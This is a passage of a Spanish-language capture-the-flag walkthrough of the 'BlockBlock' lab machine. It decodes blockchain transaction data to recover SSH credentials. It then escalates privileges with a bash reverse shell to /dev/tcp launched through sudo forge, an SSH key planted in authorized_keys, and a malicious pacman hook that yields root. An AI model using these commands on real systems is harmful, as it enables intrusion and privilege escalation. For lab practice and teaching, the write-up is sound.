[{"inputs":[{"internalType":"address","name":"_database","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"},{"indexed":false,"internalType":"string","name":"sender","type":"string"},{"indexed":false,"internalType":"string","name":"content","type":"string"}],"name":"MessageSent","type":"event"},{"inputs":[],"name":"database","outputs":[{"internalType":"contract IDatabase","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"deleteUserMessages","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"getRecentUserMessages","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalMessagesCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getUserMessage","outputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"getUserMessages","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"}],"name":"getUserMessagesCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"user","type":"string"},{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"end","type":"uint256"}],"name":"getUserMessagesRange","outputs":[{"components":[{"internalType":"string","name":"content","type":"string"},{"internalType":"string","name":"sender","type":"string"},{"internalType":"uint256","name":"timestamp","type":"uint256"}],"internalType":"struct Chat.Message[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"sender","type":"string"},{"internalType":"string","name":"content","type":"string"}],"name":"sendMessage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Podemos ir a esta página y pasamos el contenido del archivo .abi
e Input
. Podemos ver que funciona. Por ejemplo, pasando el contenido del archivo generado Chat_sol_Chat.abi
y el valor de Input
(que era el contenido del bloque/block con número 0xf
) nos permite ver lo que contiene el bloque:
Podemos ver el contenido del último mensaje que le enviamos al bot al chatear con éste el cual era test
, por medio de nuestro usuario creado gunzf0x
.
Ahora bien, dado que eth_getBlockNumber
nos permite leer bloques por números (enteros) en hexadecimal, podemos tratar de obtener el contenido de distintos bloques empezando por el bloque 0
(0x0
en hexadecimal), luego vamos por el bloque 1
(0x1
en hexadecimal) y así…
El bloque 1
(o 0x1
) retorna algo interesante. Si, en nuestra sesión como Admin
en Firefox
pasamos a la consola de developer la función:
fetch('http://10.10.11.43/api/json-rpc', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
"token": "cc8322fad39fdc6f0e2b99a0b4a6eac2acf69da0bd73afbd6a69c99f36e71a5f"
},
body: JSON.stringify({
jsonrpc: "2.0",
method: "eth_getBlockByNumber",
params: ["0x1", true],
id: 1
})
})
.then(response => response.json())
.then(data => {
console.log(data);
})
.catch(error => {
console.error('Error:', error);
});
Obtenemos un tag de Transaction
, el cual contiene la respuesta en el campo Input
:
Copiando y pasando aquel nuevo output en la página para decodear contenido ésta solo muestra el contenido:
No muestra mucho, pero muestra algo interesante: la palabra _database
. De manera que este contenido puede tener algo sensible.
Dado que el contenido de Input
está encodeado en hexadecimal, podemos usar CyberChef
yendo a su página web y usar el método From Hex
para decodear el contenido. En la parte final del texto decodeado, podemos ver algo interesante:
Tenemos los textos/palabras keira
y SomedayBitCoinWillCollapse
. Recordando, en el panel de Admin
vimos que ya existía otro usuario llamado keira
.
Podemos revisar si esta contraseña funciona para el usuario keira
con NetExec
a través de, por ejemplo, SSH
:
❯ netexec ssh 10.10.11.43 -u 'keira' -p 'SomedayBitCoinWillCollapse'
SSH 10.10.11.43 22 10.10.11.43 [*] SSH-2.0-OpenSSH_9.7
SSH 10.10.11.43 22 10.10.11.43 [+] keira:SomedayBitCoinWillCollapse Linux - Shell access!
Funciona.
Usamos la contraseña decodeada para loguearnos a través de SSH
como el usuario keira
:
❯ sshpass -p 'SomedayBitCoinWillCollapse' ssh -o stricthostkeychecking=no keira@10.10.11.43
Warning: Permanently added '10.10.11.43' (ED25519) to the list of known hosts.
Last login: Mon Nov 18 16:50:13 2024 from 10.10.14.23
[keira@blockblock ~]$
Podemos extraer la flag de usuario.
Root Link to heading
Revisando qué es lo que puede ejecutar este usuario con sudo
muestra que este usuario puede correr un comando como el usuario paul
llamado forge
:
[keira@blockblock ~]$ sudo -l
User keira may run the following commands on blockblock:
(paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge
Tratando de ver qué es este comando (para ver si es un binario o un script) nos muestra que no podemos leer el archivo:
[keira@blockblock ~]$ file /home/paul/.foundry/bin/forge
/home/paul/.foundry/bin/forge: cannot open `/home/paul/.foundry/bin/forge' (Permission denied)
[keira@blockblock ~]$ ls -ld /home/paul/.foundry/bin/forge
ls: cannot access '/home/paul/.foundry/bin/forge': Permission denied
[keira@blockblock ~]$ ls -la /home/paul/.foundry/
ls: cannot access '/home/paul/.foundry/': Permission denied
Si ejecutamos el comando forge
directamente como paul
usando sudo
obtenemos:
[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge
Build, test, fuzz, debug and deploy Solidity contracts
Usage: forge <COMMAND>
Commands:
bind Generate Rust bindings for smart contracts
build Build the project's smart contracts [aliases: b, compile]
cache Manage the Foundry cache
clean Remove the build artifacts and cache directories [aliases: cl]
clone Clone a contract from Etherscan
completions Generate shell completions script [aliases: com]
config Display the current config [aliases: co]
coverage Generate coverage reports
create Deploy a smart contract [aliases: c]
debug Debugs a single smart contract as a script [aliases: d]
doc Generate documentation for the project
flatten Flatten a source file and all of its imports into one file [aliases: f]
fmt Format Solidity source files
geiger Detects usage of unsafe cheat codes in a project and its dependencies
generate Generate scaffold files
generate-fig-spec Generate Fig autocompletion spec [aliases: fig]
help Print this message or the help of the given subcommand(s)
init Create a new Forge project
inspect Get specialized information about a smart contract [aliases: in]
install Install one or multiple dependencies [aliases: i]
remappings Get the automatically inferred remappings for the project [aliases: re]
remove Remove one or multiple dependencies [aliases: rm]
script Run a smart contract as a script, building transactions that can be sent onchain
selectors Function selector utilities [aliases: se]
snapshot Create a snapshot of each test's gas usage [aliases: s]
test Run the project's tests [aliases: t]
tree Display a tree visualization of the project's dependency graph [aliases: tr]
update Update one or multiple dependencies [aliases: u]
verify-bytecode Verify the deployed bytecode against its source [aliases: vb]
verify-check Check verification status on Etherscan [aliases: vc]
verify-contract Verify smart contracts on Etherscan [aliases: v]
Options:
-h, --help Print help
-V, --version Print version
Find more information in the book: http://book.getfoundry.sh/reference/forge/forge.html
Buscando por forge command blockchain
nos lleva a la misma página web mostrada en el mensaje de ayuda del último comando para un software llamado forge.
forge
is a set of tools to build, test, fuzz, debug and deploy Solidity
smart contracts.forge
es una herramienta para trabajar con contratos en blockchain.Eventualmente, luego de mirar algo de documentación, encontramos un comando para forge
llamado init. En corto, este comando genera un script. Podemos iniciar un nuevo proyecto con Forge
y luego ejecutarlo usando el comando build pasando un archivo/script malicioso a través del parámetro --use
.
[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge init /dev/shm/exploit --no-git --offline
Initializing /dev/shm/exploit...
Initialized forge project
[keira@blockblock ~]$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/9001 0>&1"' > /dev/shm/rev
[keira@blockblock ~]$ chmod +x /dev/shm/rev
Empezamos un listener con netcat
por el puerto 9001
y lo ejecutamos:
[keira@blockblock ~]$ sudo -u paul /home/paul/.foundry/bin/forge build --use /dev/shm/rev
Obtenemos una shell como el usuario paul
:
❯ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.43] 52068
[paul@blockblock keira]$ whoami
whoami
paul
Para ganar accesso a través de SSH
como este nuevo usuario, creamos una key para este servicio en nuestra máquina de atacantes:
❯ ssh-keygen -t ed25519
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_ed25519): /home/gunzf0x/HTB/HTBMachines/Hard/BlockBlock/content/id_ed25519
Enter passphrase for "/home/gunzf0x/HTB/HTBMachines/Hard/BlockBlock/content/id_ed25519" (empty for no passphrase):
Enter same passphrase again:
<SNIP>
Copiamos y pasamos el contenido de id_ed25519.pub
de nuestra máquina víctima al archivo /home/paul/.ssh/authorized_keys
:
[paul@blockblock ~]$ mkdir .ssh
[paul@blockblock ~]$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHiTrRFxut1pmazPHVSwexdp+tTpF56pEnXlvBG2+biI gunzf0x@kali' >> /home/paul/.ssh/authorized_keys
Podemos así conectarnos a través de SSH
como paul
usando la key generada:
❯ ssh -i id_ed25519 paul@10.10.11.43
[paul@blockblock ~]$
Este nuevo usuario puede correr pacman
con sudo
como cualquier usuario:
[paul@blockblock ~]$ sudo -l
User paul may run the following commands on blockblock:
(ALL : ALL) NOPASSWD: /usr/bin/pacman
pacman
es un gestor de paquetes para Linux
(principalmente para Arch
Linux btw), similar a como lo puede ser apt
para sistemas basados en Debian.Buscando cómo podemos ejecutar comandos con pacman
encontramos algo llamado hooks
. Este post de Arch Linux btw muestra cómo podemos ejecutar comandos. Podemos abrir un editor de texto como Vim
en la máquina víctima y crear un hook:
[paul@blockblock ~]$ mkdir hooks
[paul@blockblock ~]$ cd /home/paul/hooks
Donde ponemos sl siguiente contenido en el archivo /home/paul/hooks/rev.hooks
:
[Trigger]
Operation = Install
Type = Package
Target = *
[Action]
Description = Revshell
When = PostTransaction
Exec = /dev/shm/rev
Aquí estamos ejecutando y “reciclando” el script /dev/shm/rev
que nos envió una reverse shell como paul
previamente.
Ahora necesitamos crear un paquete/package custom para llamar a este hook. Este archivo debe llamarse PKGBUILD
. Hacemos esto usando nuevamente Vim
:
[paul@blockblock hooks]$ vim PKGBUILD
con el contenido:
pkgname=revpkg
pkgver=1.0
pkgrel=1
arch=('any')
pkgdesc="Evil package"
license=('GPL')
Luego, creamos el paquete custom usando el comando makepkg
junto con la flag -cf
, la cual hará que pacman
busque por el archivo PKGBUILD
en el directorio actual de trabajo:
[paul@blockblock hooks]$ makepkg -cf
==> Making package: revpkg 1.0-1 (Mon 10 Mar 2025 05:35:42 AM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
==> Extracting sources...
==> Entering fakeroot environment...
==> Tidying install...
-> Removing libtool files...
-> Purging unwanted files...
-> Removing static library files...
-> Stripping unneeded symbols from binaries and libraries...
-> Compressing man and info pages...
==> Checking for packaging issues...
==> Creating package "revpkg"...
-> Generating .PKGINFO file...
-> Generating .BUILDINFO file...
-> Generating .MTREE file...
-> Compressing package...
==> Leaving fakeroot environment.
==> Finished making: revpkg 1.0-1 (Mon 10 Mar 2025 05:35:44 AM UTC)
==> Cleaning up...
Del output podemos ver que el paquete creado se llama revpkg 1.0-1
.
Empezamos un nuevo listener con netcat
en el puerto 9001
.
Acto seguido, usamos pacman
instalando nuestro paquete custom junto con el hook custom:
[paul@blockblock hooks]$ sudo /usr/bin/pacman --hookdir /home/paul/hooks -U revpkg-1.0-1-any.pkg.tar.zst --noconfirm
loading packages...
resolving dependencies...
looking for conflicting packages...
Packages (1) revpkg-1.0-1
:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring [##########################] 100%
(1/1) checking package integrity [##########################] 100%
(1/1) loading package files [##########################] 100%
(1/1) checking for file conflicts [##########################] 100%
(1/1) checking available disk space [##########################] 100%
:: Processing package changes...
(1/1) installing revpkg [##########################] 100%
:: Running post-transaction hooks...
(1/1) Revshell
En nuestro listener con netcat
obtenemos una conexión como el usuario root
:
❯ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.43] 52530
[root@blockblock /]# whoami
whoami
root
GG. Podemos extraer la flag de root
en el directorio /root
.
~Happy Hacking.